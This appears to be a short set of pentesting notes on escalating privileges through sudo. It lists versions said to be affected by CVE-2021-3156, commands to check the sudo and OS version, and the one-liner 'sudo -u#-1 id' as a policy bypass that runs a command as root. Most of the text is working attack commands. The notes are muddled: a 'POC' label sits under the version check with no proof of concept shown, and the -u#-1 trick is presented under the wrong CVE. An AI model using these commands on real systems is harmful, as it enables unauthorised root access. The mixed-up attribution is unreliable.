Affected versions

• 1.8.31 - ubuntu 20.04

• 1.8.27 - Debian 10

• 1.9.2 fedora 33

• And others

Check sudo version

• CVE-2021-3156 POC

sudo -V

OS version

cat /etc/lsb-release

Sudo policy bypass

sudo -l

sudo -u#-1 id-(choose binary from sudo -l list)